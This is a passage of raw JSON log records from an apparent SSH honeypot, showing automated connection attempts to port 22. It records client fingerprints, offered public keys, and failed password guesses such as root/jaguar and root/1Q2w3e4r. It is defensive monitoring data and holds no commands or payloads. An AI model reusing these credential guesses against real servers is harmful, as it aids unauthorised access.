h-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:01.065875Z","src_ip":"38.93.206.2","session":"da1e8959fc75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sochi2014","message":"login attempt [root/sochi2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:01.262835Z","src_ip":"38.93.206.2","session":"da1e8959fc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:02.324867Z","src_ip":"38.93.206.2","session":"da1e8959fc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38460,"dst_ip":"159.203.135.109","dst_port":22,"session":"915842d83630","protocol":"ssh","message":"New connection: 83.168.110.85:38460 (159.203.135.109:22) [session: 915842d83630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:07.805216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:07.910031Z","src_ip":"83.168.110.85","session":"915842d83630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:07.947081Z","src_ip":"83.168.110.85","session":"915842d83630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:08.588259Z","src_ip":"83.168.110.85","session":"915842d83630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:09.842929Z","src_ip":"83.168.110.85","session":"915842d83630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.46.222","src_port":8054,"dst_ip":"10.17.0.5","dst_port":22,"session":"005c13146e93","protocol":"ssh","message":"New connection: 104.243.46.222:8054 (10.17.0.5:22) [session: 005c13146e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.247545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.252786Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.294557Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:c5:31:67:af:8f:57:17:2d:fc:93:14:b7:9f:61:05","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJVDRLB6nqgMmN/OxrvGsaUFqva6iXvVSzML1QCZ74R","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 19:c5:31:67:af:8f:57:17:2d:fc:93:14:b7:9f:61:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.459399Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:c5:31:67:af:8f:57:17:2d:fc:93:14:b7:9f:61:05","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJVDRLB6nqgMmN/OxrvGsaUFqva6iXvVSzML1QCZ74R","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.464633Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:2a:f7:f2:f7:e4:f3:30:2a:d7:b9:40:b0:56:2f:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXO7zhlp1mFhVZlKONIvQXC6OnF60etZXtG3TDCH7RHsdVV1YH0dQUKU2Qw7R+0E7DoUQavPPCwx9pBD1Sqg3veNIhg1UNlXyTgkXBI8T91+1l4fE8Tp9fh55cHQwbNJhwT68FbkiTFm20YBNP0GbDaEhb2znn53gThyjNNSPv9DE7o0Ae3bSSBMOaThD248J1jO08UrtK0nlyL1XTJTN5JFXXlXr3BU5UVjo5cnI7Lyf9UjEBQ81he9v3h7FVMKiioxKPEyIdrOtBwJhiJXEzkldhTucI6KxyvKeI8IaX191lCgnprXN15O8INmTylUdzFYR13bajNLGpil3dHUEonQaaF1FYgHuat2Bk7gShkd49PRxt2JGnzd1kY5rVBd51/qI1EGKxdla+vVVE2S5h68+EPzRBYE57Snp/xowHwM1oPIoQlQoT19YLJ+idQhBUCrL4XpT+39ZeBu6ED9yyVnrNQoqrK0159LAtWIxm3pL5H6O1o9wLxweF396O+NI806Xo18jbeQNPsAcuiO7tyww/3bDkBiq2YzAcVSlTRrDHJmMz5k2Y0IYGA1tWzLtGaNgHi6ggVLfuTKIX6dK8XrooCIrYe0sbYiq+KF6iXYSqbtrCo7LhjcKaCSNKDMpnp28YJpwvrIVibVZqllsXec1bWj5i5goss8AMDnMmDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:2a:f7:f2:f7:e4:f3:30:2a:d7:b9:40:b0:56:2f:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.628240Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:2a:f7:f2:f7:e4:f3:30:2a:d7:b9:40:b0:56:2f:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXO7zhlp1mFhVZlKONIvQXC6OnF60etZXtG3TDCH7RHsdVV1YH0dQUKU2Qw7R+0E7DoUQavPPCwx9pBD1Sqg3veNIhg1UNlXyTgkXBI8T91+1l4fE8Tp9fh55cHQwbNJhwT68FbkiTFm20YBNP0GbDaEhb2znn53gThyjNNSPv9DE7o0Ae3bSSBMOaThD248J1jO08UrtK0nlyL1XTJTN5JFXXlXr3BU5UVjo5cnI7Lyf9UjEBQ81he9v3h7FVMKiioxKPEyIdrOtBwJhiJXEzkldhTucI6KxyvKeI8IaX191lCgnprXN15O8INmTylUdzFYR13bajNLGpil3dHUEonQaaF1FYgHuat2Bk7gShkd49PRxt2JGnzd1kY5rVBd51/qI1EGKxdla+vVVE2S5h68+EPzRBYE57Snp/xowHwM1oPIoQlQoT19YLJ+idQhBUCrL4XpT+39ZeBu6ED9yyVnrNQoqrK0159LAtWIxm3pL5H6O1o9wLxweF396O+NI806Xo18jbeQNPsAcuiO7tyww/3bDkBiq2YzAcVSlTRrDHJmMz5k2Y0IYGA1tWzLtGaNgHi6ggVLfuTKIX6dK8XrooCIrYe0sbYiq+KF6iXYSqbtrCo7LhjcKaCSNKDMpnp28YJpwvrIVibVZqllsXec1bWj5i5goss8AMDnMmDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.632768Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:3d:2d:6f:2d:f7:d9:33:fe:a8:b8:37:2a:6b:06:a9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIhIOMqegTjp9pinadhATBYExIH/3/WdExzW9pCVEWv64aKAK7hJZ2gNDTtVH+2gk6tV4IkMthelytpio4yb4DKXzWay5f3u5h041GBX6dB21xzeeLUXLYsMrSjjHLYts50sMNxoEUUBe24sQGp015DGvY2CqOSZM7mSdO2VcGV7AAAAFQD4hafTNsowOEOP4bDoUj0aPaZ0BQAAAIB2Ayd1FWZq4IL7HqXgmim348jx+Nn9D50dlgqBkP8TqMfD2uuaWbRuTqob0nYzVe/5ScZl/AilqPROklJQmrbVoflXuNeuXCkqWFWAs9oLJnb8+yCKzGkoW3d1Nz+X7ewFl7vHMIWs0QyzzT5pxFkPuYfVW3OHZugmIdqHueKNnwAAAIAXJnR4huhx0L8IvCbnMIAFpBXkZvMfP4XWjZiHqUcfYG3cO6Hjmje1feLb96QT0PGj72MiJpsfzLAWWoTXuOVsPQba9WTPBGcqeingCpd7ir3OeophjvmoVc+pD/M/c4Kpy2BQ2kUnNPA518s6ainpG9OJXqfWy5sMtGHNZuLpTA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e9:3d:2d:6f:2d:f7:d9:33:fe:a8:b8:37:2a:6b:06:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.671662Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:3d:2d:6f:2d:f7:d9:33:fe:a8:b8:37:2a:6b:06:a9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIhIOMqegTjp9pinadhATBYExIH/3/WdExzW9pCVEWv64aKAK7hJZ2gNDTtVH+2gk6tV4IkMthelytpio4yb4DKXzWay5f3u5h041GBX6dB21xzeeLUXLYsMrSjjHLYts50sMNxoEUUBe24sQGp015DGvY2CqOSZM7mSdO2VcGV7AAAAFQD4hafTNsowOEOP4bDoUj0aPaZ0BQAAAIB2Ayd1FWZq4IL7HqXgmim348jx+Nn9D50dlgqBkP8TqMfD2uuaWbRuTqob0nYzVe/5ScZl/AilqPROklJQmrbVoflXuNeuXCkqWFWAs9oLJnb8+yCKzGkoW3d1Nz+X7ewFl7vHMIWs0QyzzT5pxFkPuYfVW3OHZugmIdqHueKNnwAAAIAXJnR4huhx0L8IvCbnMIAFpBXkZvMfP4XWjZiHqUcfYG3cO6Hjmje1feLb96QT0PGj72MiJpsfzLAWWoTXuOVsPQba9WTPBGcqeingCpd7ir3OeophjvmoVc+pD/M/c4Kpy2BQ2kUnNPA518s6ainpG9OJXqfWy5sMtGHNZuLpTA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.675359Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:e8:98:af:b9:e8:bc:30:3b:bb:5e:a3:56:92:ad:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmMMbNe6Otu12jfivvG1mFDabZ2x0LHyNa3dtsp4ufZNF3lOBglGgBA2soBN8aEZDTuU7mi//tnjZOBFqQ1Co4LICR+56TUSWhh2mKf+K6Y3GP67xJMJhSGMKDYZ6yqGCIhIJj9fhn/fiw5KkEjlMXb0mFx4ixfohYpLR5Xwum4H+GWGKIr014233kCgowh+HdC4DzZZuMTZ03uCNZK/XH6bRAzJsa92/TE6Md8yA8udIZ3+ourzC76lx2YCMZ/RwrFgGMf+P/uNhwk8RIiCqHF4m8htHQyEVtyrh1eSFkevRTjk9QzXzKQtD9N7Bz9z7SPP5QL56O1839mrVXWu0uMiUvnvgc6D6LlAAt06psMlgKvAsNtTPtNoRGAo9YTpXvdo1K/izfuSAZUIzAHjFq6rW36IChgM/Mk5/oQzMZte7/IN448CLH4le1iJXLgljZHiI5IjZGatBu05futsB3bhprVEIrjTpaKSG0kWwIFiintB3gDthsZlFSaT6r3AvVq0wgGkImn1CKbtALdZadaBDxxpfYWG0uyyRFHbhg6mrSbhJxCKbV/4Qb+D+v9GohdLxL7kJU6Sk0YfwYjjAPKhlvWI9CoRMxWXyz11QIj2sjcGmAUWmBR5Xm3qk4UFNp+JylNYwZqxzzpBXywV5mgjX897pyoZrXA+FN2nwuIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:e8:98:af:b9:e8:bc:30:3b:bb:5e:a3:56:92:ad:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.711988Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:e8:98:af:b9:e8:bc:30:3b:bb:5e:a3:56:92:ad:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmMMbNe6Otu12jfivvG1mFDabZ2x0LHyNa3dtsp4ufZNF3lOBglGgBA2soBN8aEZDTuU7mi//tnjZOBFqQ1Co4LICR+56TUSWhh2mKf+K6Y3GP67xJMJhSGMKDYZ6yqGCIhIJj9fhn/fiw5KkEjlMXb0mFx4ixfohYpLR5Xwum4H+GWGKIr014233kCgowh+HdC4DzZZuMTZ03uCNZK/XH6bRAzJsa92/TE6Md8yA8udIZ3+ourzC76lx2YCMZ/RwrFgGMf+P/uNhwk8RIiCqHF4m8htHQyEVtyrh1eSFkevRTjk9QzXzKQtD9N7Bz9z7SPP5QL56O1839mrVXWu0uMiUvnvgc6D6LlAAt06psMlgKvAsNtTPtNoRGAo9YTpXvdo1K/izfuSAZUIzAHjFq6rW36IChgM/Mk5/oQzMZte7/IN448CLH4le1iJXLgljZHiI5IjZGatBu05futsB3bhprVEIrjTpaKSG0kWwIFiintB3gDthsZlFSaT6r3AvVq0wgGkImn1CKbtALdZadaBDxxpfYWG0uyyRFHbhg6mrSbhJxCKbV/4Qb+D+v9GohdLxL7kJU6Sk0YfwYjjAPKhlvWI9CoRMxWXyz11QIj2sjcGmAUWmBR5Xm3qk4UFNp+JylNYwZqxzzpBXywV5mgjX897pyoZrXA+FN2nwuIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.718322Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:2c:d1:4c:4f:ce:68:39:8c:66:5f:22:a4:39:05:2f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAItxSetjQFsy2l0lRP4M4zJ9kfGO5MwbKRHifuA+AHeJO05JmvbBoSGg9TklmbhulSk3vjGPsgDAhbvI8s8GWJATd5A5XQRQdHs5UXDjmL9m23lNJ65NhkY4d6WHhq8APuVPIpqi4D6QR+pad9Tr0dQYoi+U0yJHfzj0+rB1En9tAAAAFQDaUP3r5FAfcJLU+nU7tqG+x+kabQAAAIAmy1Abx0DOUYg2T5UchpoSkWav6LHZc+jh+mixVFxjj4abrapw6I1nYxjkurg+FEKnDR2flxT8ntwv1W7rWlqF7DxuLJrzTPX804CacDsrfsYcPIN+oOCacrLLHywJMt2Sc6KGZnVaAwVRWRXWBAedZbdlMgyvSAZhF/48fjkDhAAAAIBjsyMpnjS5TlOIqV+t3L2CKMenrjQWrI+FdU8afMSE+BaK4PGUkmPOvcYjPpL152jR4Ih4b6hpbX2RRkvt612BP3x55tghWX5mE7YWRglmZ1OpwQuVI253Or/CMRDtx5IqrSrFY1Qsa1raIQNOi7yj3/LqiUa03j5YCX6EIEK75Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint cc:2c:d1:4c:4f:ce:68:39:8c:66:5f:22:a4:39:05:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.757309Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:2c:d1:4c:4f:ce:68:39:8c:66:5f:22:a4:39:05:2f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAItxSetjQFsy2l0lRP4M4zJ9kfGO5MwbKRHifuA+AHeJO05JmvbBoSGg9TklmbhulSk3vjGPsgDAhbvI8s8GWJATd5A5XQRQdHs5UXDjmL9m23lNJ65NhkY4d6WHhq8APuVPIpqi4D6QR+pad9Tr0dQYoi+U0yJHfzj0+rB1En9tAAAAFQDaUP3r5FAfcJLU+nU7tqG+x+kabQAAAIAmy1Abx0DOUYg2T5UchpoSkWav6LHZc+jh+mixVFxjj4abrapw6I1nYxjkurg+FEKnDR2flxT8ntwv1W7rWlqF7DxuLJrzTPX804CacDsrfsYcPIN+oOCacrLLHywJMt2Sc6KGZnVaAwVRWRXWBAedZbdlMgyvSAZhF/48fjkDhAAAAIBjsyMpnjS5TlOIqV+t3L2CKMenrjQWrI+FdU8afMSE+BaK4PGUkmPOvcYjPpL152jR4Ih4b6hpbX2RRkvt612BP3x55tghWX5mE7YWRglmZ1OpwQuVI253Or/CMRDtx5IqrSrFY1Qsa1raIQNOi7yj3/LqiUa03j5YCX6EIEK75Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.761312Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:12.799881Z","src_ip":"104.243.46.222","session":"005c13146e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54354,"dst_ip":"159.203.135.109","dst_port":22,"session":"940a5f883d08","protocol":"ssh","message":"New connection: 87.251.79.125:54354 (159.203.135.109:22) [session: 940a5f883d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:17.482215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:17.487633Z","src_ip":"87.251.79.125","session":"940a5f883d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:17.561126Z","src_ip":"87.251.79.125","session":"940a5f883d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaguar","message":"login attempt [root/jaguar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:17.781005Z","src_ip":"87.251.79.125","session":"940a5f883d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39036,"dst_ip":"159.203.135.109","dst_port":22,"session":"79fa96dad50e","protocol":"ssh","message":"New connection: 83.168.110.85:39036 (159.203.135.109:22) [session: 79fa96dad50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:18.125525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:18.152820Z","src_ip":"83.168.110.85","session":"79fa96dad50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:18.259635Z","src_ip":"83.168.110.85","session":"79fa96dad50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:18.721629Z","src_ip":"83.168.110.85","session":"79fa96dad50e","protocol":"ssh"}
